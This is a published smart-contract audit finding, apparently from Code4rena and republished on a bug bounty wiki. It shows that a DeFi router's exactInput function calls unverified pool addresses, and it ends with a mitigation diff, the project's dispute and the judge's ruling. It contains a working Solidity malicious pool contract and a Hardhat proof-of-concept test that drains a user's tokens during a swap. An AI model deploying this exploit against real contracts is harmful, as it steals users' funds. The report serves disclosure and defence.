exactInput allows stealing of funds via a malicious pool contract
The Router contract's exactInput function does not verify that pool addresses in the user-supplied path were created by the official factory. An attacker could trick a user into signing a transaction with a malicious pool contract in the path, which would steal the user's funds during the swap.
Jeiwan Follow with peritoflores
Originally disclosed on Code4rena
Submitted by Jeiwan, also found by peritoflores
Router.sol#L151
Router.sol#L128
Impact
Users can lose funds during swapping.
Proof of Concept
The Router contract (Router.sol#L18) is a higher level contract that will be used by the majority of the users. The contract implements the exactInput (Router.sol#L143) functions that users call to perform multiple swaps in a single transaction. The key argument of the function is the path (IRouter.sol#L40): an encoded list of “input token, pool address, output token” tuples that defines the series of swaps to be made by the function. On every iteration, the exactInput function extracts next tuple from the path and calls the extracted pool address to perform a swap (Router.sol#L149-L154), (Router.sol#L128):
params.amountIn = exactInputInternal(
params.amountIn,
stillMultiPoolSwap ? address(this) : params.recipient,
0,
SwapCallbackData({path: params.path.getFirstPool(), payer: payer, exactOutput: false})
);
(, amountOut) = pool.swap(recipient, amountIn, tokenAIn, false, sqrtPriceLimitD18, abi.encode(data));
However, the pool address is not verified before being called. An attacker may trick a user into calling exactInput with a malicious contract as a pool and steal user’s funds. Despite the requirement to force a user to sign a transaction, the difficulty of this attack is low for several reasons:
-
The path argument is always built by a front-end applications: users never fill it manually and have to trust front ends to properly fill the path for them. For example, Uniswap implements a complex router that builds optimized paths. It’s expected that the audited project will also implement a similar router, and the users will always use the paths generated by the router without checking them.
Moreover, the path argument is encoded as a byte array (
IRouter.sol#L40), which makes it hard to read and verify in a wallet. -
The attack is performed by the official Router contract: users may have it added to the list of known contracts (a feature supported by MetaMask) and execute a transaction from a malicious front-end application thinking that, since the official Router contract is called, they’re safe.
An example of a malicious pool contract:
// router-v1/contracts/audit/AuditSwapExploit.sol
// SPDX-License-Identifier: unlicensed
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "../interfaces/IRouter.sol";
contract AuditSwapExploit {
address tokenAddress;
constructor(address tokenAddress_) {
tokenAddress = tokenAddress_;
}
function swap(address /*recipient*/, uint256 amount, bool /*tokenAIn*/, bool /*exactOutput*/, uint256 /*sqrtPriceLimit*/, bytes calldata /*data*/) external returns (uint256 amountIn, uint256 amountOut) {
IRouter(msg.sender).sweepToken(IERC20(tokenAddress), 0, address(this));
amountIn = amount;
amountOut = type(uint256).max;
}
}
A coded proof of concept that demonstrates an attack using the above contract:
// router-v1/test/Router.ts
// describe("#swap exact in", () => {
it("allows to steal funds [AUDIT]", async () => {
let poolWETHB: string = await getEthBPool(0.05, 2);
// Deploying a exploit.
const factory = await ethers.getContractFactory("AuditSwapExploit", {});
const exploit = await factory.deploy(tokenB.address);
await exploit.deployed();
const preExploitBalance = await balances(exploit.address);
const preOwnerBalance = await balances(await owner.getAddress());
// The attacker injects their exploit in the path.
let path = encodePath([
weth9.address,
poolWETHB,
tokenB.address,
exploit.address,
tokenA.address,
]);
await router.exactInput({
path: path,
recipient: await owner.getAddress(),
deadline: maxDeadline,
amountIn: floatToFixed(1),
amountOutMinimum: 0
});
const postExploitBalance = await balances(exploit.address);
const postOwnerBalance = await balances(await owner.getAddress());
// User has spent WETH...
expect(postOwnerBalance.weth9 - preOwnerBalance.weth9).to.eq(-1);
// ... but hasn't received any tokens.
expect(postOwnerBalance.tokenA - preOwnerBalance.tokenA).to.eq(0);
expect(postOwnerBalance.tokenB - preOwnerBalance.tokenB).to.eq(0);
// The exploit contract has received token B.
expect(postExploitBalance.tokenA - preExploitBalance.tokenA).to.eq(0);
expect(postExploitBalance.tokenB - preExploitBalance.tokenB).to.eq(0.817728003274796);
});
Recommended Mitigation Steps
Consider always checking that pools being called in the Router were created through the Factory:
--- a/router-v1/contracts/Router.sol
+++ b/router-v1/contracts/Router.sol
@@ -125,6 +125,7 @@ contract Router is IRouter, Multicall, SelfPermit, Deadline {
bool tokenAIn = tokenIn < tokenOut;
+ require(factory.isFactoryPool(IPool(pool)), "Unsupported pool");
(, amountOut) = pool.swap(recipient, amountIn, tokenAIn, false, sqrtPriceLimitD18, abi.encode(data));
}
gte620v (Maverick) disputed and commented:
If a frontend is compromised, this is the least of your worries. With a compromised frontend, the attacker can route a user to any contract.
With a compromised frontend, the attacker can route a user to any contract.
As long as contracts allow that. If we take Uniswap V3 as a reference, the Router contract won’t allow the routing of a user through pools not created via the official Factory contract. So, the Maverick/Stealth Project is vulnerable to this attack vector, while Uniswap V3 isn’t.
kirk-baird (judge) decreased severity to Medium and commented:
The design choice to allow third parties to create and use their own
Poolin conjunction with Maverick/Stealth Project Pools is a genuine use case which may make the mitigation invalid.A malicious pool included in the path would allow for for draining funds for a user.
I consider this a valid Medium as there is an attack vector in the code however it should be protected against by the front-end only selecting the path from factory created pools.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The Router contract calls pool addresses from the user-supplied path without verifying that they were created by the official factory.
Impact
Users could lose funds during swapping if they are tricked into using a path with a malicious pool; the attack requires a compromised front-end or user deception.
What the attacker needed
User interacts with a malicious front-end; user signs a transaction with a malicious path
The fix
The Router should check that each pool in the path was created by the official factory before calling it.
How it was found
- Deploy a malicious pool contract that implements a swap function to steal tokens.
- Construct a path that includes the malicious pool contract.
- Call exactInput with the malicious path, causing the router to call the malicious pool.
- The malicious pool's swap function transfers the user's tokens to itself.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When you swap tokens on a decentralised exchange, your wallet sends a transaction to a router contract that follows a path of pools to execute the trade. This report shows that the router did not check whether each pool in the path was legitimate, so a malicious pool could be inserted to take your tokens. The attacker needs you to approve a transaction with the bad path, often by compromising the website you use to trade.
What is Access control?
A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.